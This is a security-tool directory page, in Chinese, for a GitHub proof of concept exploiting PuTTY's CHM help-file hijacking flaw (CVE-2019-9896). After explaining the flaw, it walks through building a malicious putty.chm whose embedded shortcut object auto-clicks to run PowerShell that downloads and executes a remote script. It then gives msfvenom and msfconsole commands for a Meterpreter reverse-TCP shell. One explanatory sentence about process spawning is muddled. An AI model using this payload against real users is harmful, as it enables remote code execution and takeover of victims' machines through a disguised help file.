Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
vuln-chm-hijack — 通过CHM劫持的潜在恶意代码执行 (CVE-2019-9896) | Kitploit
工具/GitHubGitHub/yasinyilmaz/vuln-chm-hijack
钓鱼工具Payload生成漏洞利用Web应用程序漏洞利用学习与教育实验室与实践
GitHubyasinyilmaz/vuln-chm-hijack

vuln-chm-hijack

通过CHM劫持的潜在恶意代码执行 (CVE-2019-9896)

查看仓库
79317年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

PuTTY 漏洞 vuln-chm-hijack

通过 CHM 劫持实现潜在的恶意代码执行

关于

在 0.70 及更早版本中,当你在任何 Windows PuTTY GUI 工具中启动在线帮助时,该工具会通过在其可执行文件所在目录中查找帮助文件。

如果你从一个无关代码可以放置文件的目录中运行 PuTTY(例如,直接从浏览器的默认下载目录运行),这意味着如果有人设法将一个名为 putty.chm 的文件放入该目录(例如,诱使你点击同名的下载链接),那么 PuTTY 会认为它是真正的帮助文件,并将其提供给 htmlhelp.exe。

这是一个漏洞,因为 HTML 帮助文件(.chm)可以进一步运行它们选择的代码,例如通过嵌入一个 HTML 元素(该元素是一个 Windows 快捷方式)以及用于点击它的 Javascript。

更多详情:https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-chm-hijack.html

什么是 CHM 文件?

CHM 是编译 HTML 文件格式的扩展名,最常用于 Microsoft 基于 HTML 的帮助程序。它可以包含多个压缩的 HTML 文档以及它们链接的图像和 JavaScript。CHM 功能包括目录、索引和全文搜索。

之前有过这种使用吗?

过去,威胁行为者曾使用 CHM 文件来投放后门文件,这种技术常用于定向攻击。

一些示例:

https://www.bleepingcomputer.com/news/security/malicious-chm-files-being-used-to-install-brazilian-banking-trojans/ https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/

生成恶意 CHM 文件的步骤

我们需要 HTML Help Workshop 工具包来创建 CHM 文件。安装后,启动 HTML Help Workshop 工具。

步骤

点击 File > New > Project,然后按照以下步骤操作:

创建 HTML Help 项目

  1. 新项目界面 > Next > Browse

  2. 指定你的项目文件名称以及你希望创建的位置。

填写文件名:putty 并点击“Open”

指定你的 HTML Help 项目

  1. 如果你已经创建了想要包含在项目中的 HTML 文件。

选择 HTML 文件(.htm)

指定你的 .htm 文件所在位置。

点击 Add.. 按钮,选择一个已创建的目录用于存放你的恶意文件,例如 putty.htm

选择一个 HTM 文件

  1. 向导创建一个新的 HTML Help 项目。我们需要做一些修改。

  2. 在工具中,双击创建好的 htm 文件进行编辑,然后插入以下代码以创建一个基本的帮助文件:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft&reg; HTML Help Workshop 4.1">
<Title>putty</Title>
</HEAD>
<BODY>


</BODY>
</HTML>

  1. 现在,我们创建一个按钮对象,当它被点击时会启动恶意 exe。除了这个对象,我们还添加了一个脚本部分,当文档打开时会自动点击该按钮:
<html>
<title> PuTTY Help </title>
<head>
</head>
<body>

<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -NoProfile -WindowsStyle 1 -c -IEX (New-Object Net.WebClient).DownloadString('{YOUR MALICIOUS FILE URL}')">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
shortcut.Click();
</SCRIPT>

<h2 align=center> PuTTY CHM </h2>
<p><h3 align=center> Welcome! </h3></p>
</body>
</html>

创建恶意文件

  1. PowerShell 命令将连接到列出的远程 URL 并执行网站响应的 meterpreter。这个远程脚本可以是其他 PowerShell(.ps) 脚本或用于 Windows 的 Meterpreter 载荷。

如何为 Windows 创建一个简单的 TCP Meterpreter 载荷?

msfvenom -p windows/meterpreter/reverse_tcp LHOST={YOUR IP} LPORT={PORT } -f exe > malware.exe

当你双击帮助按钮时,putty.exe 会作为 malware.exe 的子进程生成,而 malware.exe 是 CHM 二进制文件的解释器。(你的恶意 putty.chm 和 putty.exe 文件应放在同一目录下)

生成恶意软件

如何获取 meterpreter shell?

msfconsole 
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost {YOUR IP}
lhost => {YOUR IP}
msf exploit(multi/handler) > set lport {PORT}
lport => {PORT}
msf exploit(multi/handler) > run

资源:

  1. https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-chm-hijack.html
  2. https://safe-cyberdefense.com/hide-malware-microsoft-html-interpretors/

下载工具